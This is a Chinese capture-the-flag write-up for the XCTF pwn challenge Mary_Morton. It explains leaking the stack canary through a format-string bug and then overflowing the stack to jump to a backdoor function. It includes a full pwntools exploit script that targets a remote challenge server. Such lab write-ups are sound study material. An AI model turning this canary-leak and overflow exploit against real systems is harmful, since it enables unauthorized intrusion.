攻防世界Mary_Morton wp
首先查看他的保护机制:(checksec)
有canary保护
然后我们拖进ida发现两处溢出点:
看一下流程图和汇编可以知道readsqword这个地方有canary保护,只有 rax 和fs:28h 两个值相等的时候 才能跳转到返回值,反之则调用stack_chk_fail
找到后门函数
思路:将两个漏洞结合利用,首先利用字符串漏洞,泄露出canary的值,然后在函数要返回的时候再填回去,之后利用栈溢出,让其返回到后门函数
根据程序可以看出,v2应该就是canary的值,一开始,将_readfsqword(0x28u)的值给v2,后来又和v2做异或操作,只有v2与它还相等,程序返回0,否则返回不为零的数。
(图自https://blog.csdn.net/qq_43935969/article/details/104338030)
确定canary和输入参数的偏移:
发现6161616161的位置,所以偏移量是6
根据注释我们知道:buf在rbp-90h,v2在rbp-8h,所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在8个“a”覆盖ebp(64位程序),最后加上system的返回地址(后门函数地址)就get flag啦!
exp
from pwn import*#p = process('./Mary')
p = remote('220.249.52.133','54670')p.recvuntil('3. Exit the battle')
p.sendline('2')p.sendline('%23$p')p.recvuntil('0x')
canary = int(p.recv(16),16)
print(canary)flag_addr = 0x4008da
payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(flag_addr)p.recvuntil('3. Exit the battle')
p.sendline('1')
p.sendline(payload)p.interactive()
get flag
攻防世界Mary_Morton wp相关推荐
- 攻防世界 welpwn WP
这道题出的确实很wel 拿到这题,查看保护 发现shellcode走不通,一般都是走rop路线 IDA打开,分析代码,发现main函数内调用了echo函数 这里的buf有0x400大,但是main不存 ...
- 攻防世界 logmein wp
一个基本的算法逆向 拿到文件后直接丢到IDA中 发现程序需要运行到sub_4007F0()对应的是正确的flag 此题主要考察如何将long long型转化为字符串(写代码,强制类型转化就直接出来了 ...
- xctf攻防世界Leaking wp
访问题目地址 "use strict";var randomstring = require("randomstring"); var express = re ...
- 攻防世界supersqli—wp
题目很明显,应该就是SQL注入,提交1试试 有回显,那就再提交 1' 报错了,直接查数据库看看 提交1'; select databases --+ what's up?select,update,w ...
- 攻防世界 crypto---simpleRSA wp
文章目录 前言 题目 解题过程 求解E1 求解E2 求P以及flag 前言 亚雷,你还知道更新博客啊? 题目 #!/usr/bin/env python3.9 # -*- coding: utf-8 ...
- 攻防世界 Mary_Morton
刚开始我们都要ida静态分析一下 当为1的时候,发生格式化字符串泄露canary 当为2时候,栈溢出到后门函数 获得flag 先通过格式化字符串泄露计算偏移量 发现为第6个参数,然而 buf到cana ...
- 攻防世界Mary_Morton
64位程序,开启了canary和nx保护 执行以下,效果如下: 有提示: 输入1那块存在栈溢出 输入2那块存在格式化字符串漏洞 拖到ida看一下 main函数: 栈溢出的函数: 有canary保护,根 ...
- [攻防世界 pwn]——Mary_Morton
[攻防世界 pwn]--Mary_Morton 题目地址: https://adworld.xctf.org.cn/ 题目: checksec看下,64位还开启了NX和canary保护.(一般开启ca ...
- 【攻防世界 | WP】CAT
[攻防世界 | WP]CAT 解题步骤 分析 学习知识 URL编码 什么是URL编码 解题步骤 分析 打开页面查看 输入url后发现没有反应,而输入127.0.0.1这类ip地址后,出现了回显 发现u ...
最新文章
- MySQL解压版安装
- sc修改服务器,华为sc服务器配置方法
- Carmaer 500W 逆变器初步测试
- python Clipping input data to the valid range for imshow with RGB data解决方法
- 获取url后的指定参数
- Java web项目报错 Java compiler level does not match the version of the installed Java project facet.
- Linux RedHat7.0 上vsftp配置
- 复练-关于面试的科技树-能力三核的彩蛋
- 鲨鱼 抓包 oracle,抓包工具wireshark的操作使用
- 2015 HUAS Summer Training#2 G
- (转)javascrit中的uriencode
- PHP7.1 狐教程【旧】不在更新,请点击新连接查看
- 如何有效管理项目进度?管控关键里程碑?
- 装修首页自定义全屏视频播放效果gif动态图片制作视频教程播放代码操作设置全屏居中阿里巴巴国际站
- 翻遍互联网都找不到的解决方案,一行代码轻松实现 Gitbook 默认折叠左侧菜单效果
- 你的个人所得税完税证明看准了吗?
- java 取一个数的各个位数
- (B站必备)使用BiliBiliTool,全自动完成B 站任务神器!!!
- 【2019/09/16】关于固态硬盘你不得不知道的那些事
- 获取今日时间范围区间
热门文章
- 逆向工程Python爬虫——国税局发票查验平台
- Pycharm Professional2018.3版安装教程
- 功能测试用例自动生成算法Pairwise
- paxos的应用场景
- 【机器学习】sklearn-GBDT调参-GradientBoostingClassifier
- FastReport实操:从Delphi应用程序中打印名片
- Ogre 3D的启动顺序 -----OGRE 3D 1.7 Beginner‘s Guide中文版 第九章
- nohup command/dev/null 21 是什么意思?
- GIT pull / push
- 笔记本--装不上系统怪问题